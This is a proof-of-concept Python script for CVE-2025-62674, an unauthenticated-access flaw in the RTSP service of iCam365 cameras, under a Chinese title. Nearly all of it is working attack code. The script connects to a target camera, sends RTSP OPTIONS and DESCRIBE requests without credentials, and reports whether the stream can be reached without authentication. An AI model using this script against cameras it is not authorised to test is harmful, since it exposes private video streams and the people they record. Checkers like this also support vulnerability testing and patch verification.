CVE-2025-62674 iCam365摄像头RTSP服务未授权访问漏洞

import socket import sys def rtsp_unauthorized_access(target_ip, port=554): """ CVE-2025-62674 PoC - RTSP Unauthenticated Access This script demonstrates unauthorized access to RTSP service """ try: # RTSP OPTIONS request without authentication options_request = f'OPTIONS rtsp://{target_ip}:{port}/stream1 RTSP/1.0\r\n' options_request += f'CSeq: 1\r\n' options_request += '\r\n' # RTSP DESCRIBE request without authentication describe_request = f'DESCRIBE rtsp://{target_ip}:{port}/stream1 RTSP/1.0\r\n' describe_request += f'CSeq: 2\r\n' describe_request += 'Accept: application/sdp\r\n' describe_request += '\r\n' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f'[*] Sending OPTIONS request to {target_ip}:{port}') sock.send(options_request.encode()) response1 = sock.recv(4096).decode('utf-8', errors='ignore') print(f'[*] OPTIONS Response:\n{response1}') print(f'[*] Sending DESCRIBE request to {target_ip}:{port}') sock.send(describe_request.encode()) response2 = sock.recv(8192).decode('utf-8', errors='ignore') print(f'[*] DESCRIBE Response:\n{response2}') # Check if authentication is required if '401' not in response2 and 'Unauthorized' not in response2: print('[!] VULNERABLE: RTSP service allows unauthenticated access!') return True else: print('[*] NOT VULNERABLE: Authentication is required') return False except Exception as e: print(f'[-] Error: {str(e)}') return False finally: sock.close() if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 rtsp_unauthorized_access(target, port) else: print('Usage: python cve-2025-62674.py <target_ip> [port]')